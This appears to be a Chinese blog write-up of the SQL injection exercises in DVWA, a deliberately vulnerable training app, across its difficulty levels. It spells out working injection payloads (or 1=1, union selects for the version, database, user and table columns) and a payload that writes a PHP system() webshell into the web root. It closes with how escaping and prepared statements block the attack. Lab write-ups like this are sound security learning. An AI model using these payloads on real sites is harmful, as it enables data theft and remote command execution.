DVWA笔记(6)--SQL Injection(SQL注入)

SQL Linnjection

SQL注入的问题。就是程序员在写SQL语句及相关的时候,没有过滤好传入的参数。导致用户输入精心准备过的参数。让SQL语句按照攻击者的想法来执行。这个危害低的就是通过报错获取路径。或者获取版本和当前用户。中等危害的可以通过这个看到网站的管理员表,获取管理员密码。危害高的就是可以写入后门文件执行Webshell了。

 

Low

我们先看到这个页面。就是输入用户的id来获取其相关的信息。

我们打多一个单引号 ‘ 。看看是否能引发报错。

引发了报错。说明存在SQL注入。

我们使用最经典的or 1 = 1来测试一下。

发现成功获取了该数据表的所有用户信息。

我们来看看源码来分析一下为什么这样子就能够输出所有用户信息。

我们先看到上面那个SQL语句。当传入我们的1’ or 1 = 1 #时。该SQL语句被构造成了如下

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1 = 1 #’;

因为or 1 =1 的存在。1=1为true。而且连接词又是or。所以该SQL语句就相当于

SELECT first_name, last_name FROM users;

我们可以到SQL控制台上试一试是不是这样子。

所以我们就可以获取到该表中所有用户的first_name和last_name了。我们继续。

MYSQL中又很多内置的系统函数。可以让我们获取到有用的信息。

VERSION():返回mysql服务器的版本,是utf8编码的字符串
CONNECTION_ID():显示连接号(连接的线程号)
DATABASE()SCHEMA():显示当前使用的数据库
SESSION_USER(), SYSTEM_USER(), USER(), CURRENT_USER, CURRENT_USER():

返回当前的用户名@主机,utf8编码字符串

我们获取该mysql的版本。

注入语句:

' union select null,version() #

我们看到成功输出了。

但是我们看代码。他不是只输出了first_name和last_name吗。为什么version也能输出呢,不是字段不一样吗。

我们去SQL控制台分析一下吧。

正常的获取版本信息是这样的。

可以看到字段是version()。其实可以像如下这样修改返回字段名。

但是注入的时候我并没有修改。那么我们继续探索一下。

这是正常获取表中first_name和last_name的语句。

那么我们union一下会怎么样呢?见证奇迹。

哎呀,黑魔法合并失败了。。。我们来看看报错吧。报错是说这两条select语句的字段数不一样。

额,字段数不一样。不知道还记不记得我注入的时候的SQL语句是怎么写的。我写的是

' union select null,version() #

嗯,我在version()前面加了一个null。这个null的作用就是填补一下字段数量。这样字段数就是两个了。我们就可以愉快的玩耍了。

再次使用黑魔法合并。

合并成功,可以看到,版本信息跑到了last_name那里去了。

我们再试试其他的

发现也是成功合并到了一起。那么我们可以知道,union查询时要是字段名不一样,就会和前面的那个合并。前提是字段数量要一样。

那么我们获取其他信息就很容易啦。

获取数据库名

' union select null,database() #

获取连接用户

' union select null,USER() #

 

好了,我们已经把低等危害和中等危害都试了一遍。那么我们来尝试一下高等危害—写入后门吧。

要想能够写入后门。首先mysql要先配置一下。

进入mysql控制台。输入命令

show variables like “%secure%”;

如果你看到secure_file_priv是空的。什么都没有。那么就可以不用配置,如果看到和我一样是NULL或者是指定的一个路径,就要配置了。

这个secure_file_priv是mysql控制输出文件的,一般用来备份数据库。为NULL表示不允许输出,那么我们就没辙了。。。。为空表示可以输出到任何地方。为路径就是只能指定输出到那个路径。

我们找到mysql的配置文件 my.ini。打开它。找到[mysqld]。在它下面加上

secure_file_priv = “”

接着保存。重启mysql。重新打开控制台,输入

show varibles like “%secure%”;

看到为空,即是配置完成。

接着我们就可以使用outfile命令。来输出一个文件了。我们先在控制台测试一下。

成功执行。那么我们就可以到dvwa那里试试了,不过前提要知道绝对路径才可以。这个就要让程序产生各种报错或者phpinfo来获取路径了。

dvwa中可以看到phpinfo。我们找到PHP Variables。就可以看到我们的网站的绝对路径了。

那么我们就可以构建我们的注入语句:

' union select null,'<?php echo system($_GET[\'cmd\']); ?>' into outfile 'C:\\wamp\\apache\\htdocs\\back.php' #

看到报错了。。。额没执行成功吗。。?我们去服务器看看。

这个\N是前面的sql查询时,我的语句是 ‘ union。所以第一条查询语句是

select xxx from xxx where id = ‘’

查询结果为空。所以输出了一个\N。

看到成功生成了。。。那我们访问一下。

成功获取webshell。

 

Medium

看到页面。是一个下拉框选择了。而且发送方式也是POST。其实这样子也没太大作用,我们开burp抓个包改下数据就好了。这些只要后端代码没又过滤,前端怎么改页面也没用的。

搬出我们的神器burp。

正常请求如下

我们再尝试使用一下or 1=1

额。。。报错了

原来还转义了单引号。。。不只是前端改了啊。。。

但是报错的时候我们注意看到。。这个SQL语句中并没有包含单引号。只有报错时默认加上去的一个单引号。

正常如果这个SQL语句这样写的话

select xx from xx where id = $id;

会报

xxx near  ‘ \’ or 1 = 1#

黑色的单引号是报错是自动加的。绿色的就是编写SQL语句时加上去的。但是现在我们这个报错返回的是

xxx near  ‘\’ or 1 = 1#

少了一对单引号。由此可以大胆猜测。这个SQL语句为

select xx from xx where id = $id

其实想想也合理。id是int类型,没有必要加引号。

那既然这样。那我们可以不使用单引号了。这个过滤单引号也形同虚设了。

我们构建我们的or 1 = 1语句为

or 1 = 1 #

不加单引号试试。获取该表所有用户。

成功注入。

获取该mysql版本信息

成功注入。

写入后门文件。

额。。。过滤了引号和\。。所以我们想通过使用\’绕过的方式不行了。

简单介绍一下\’绕过吧

就是如果程序只替换单引号 ‘ 为 \’的时候。那么我们可以构造一下这样的SQL语句

\’

到了程序那里替换过滤时就变成了

\\’

两个\。前面的\转义了后面的\。所以单引号就能不被过滤。就可以进行其他的注入了。

我们来看看源码吧

果然使用了mysqli_real_escape_string来过滤。这个函数转义 SQL 语句中使用的字符串中的特殊字符。它转义如下字符

\x00

\n

\r

\

'

"

\x1a

high

我们可以看到它的页面又变了。这次换成了点击弹出一个新窗口新地址来输入。新窗口输入后在旧窗口中输出。。这是什么逻辑 = =没看懂。。

那还是开启万能的抓包神器来看看吧。

正常发送请求时,也是只发了一个id

我们再次使用or 1 = 1

emmm…..什么情况。。直接就得到啦?。。

获取版本信息

emmm。。。好像就这样就拿到了。。和low级别没什么不一样。。

百度了一下,这个分开页面是为了防止sqlmap的注入。对手工注入影响不大。

还学到了一个获取数据表的所有字段的语句。如下

select * from information_schema.columns where table_name='users';

这样查询出来就是该表的所有信息了。

我们可以用在注入中。我们就只需要获取表明和字段名即可。

注入语句:

1' union select table_name,column_name from information_schema.columns where table_name='users' #

成功获取该表所有的字段名。不过这个需要数据库的root权限。因为它访问了mysql的系统表。

我们来看看源码:

并没有做任何过滤。就是为了防止sqlmap的注入。(所以多学点手工挺好的 ==)

impossible

我们直接看源码:

看到先判断了$id是否是数字。这样基本上就没得注入了。然后还使用了pdo进行预处理。那就更加不可能了。

猜你喜欢

转载自blog.csdn.net/xiaopan233/article/details/87181183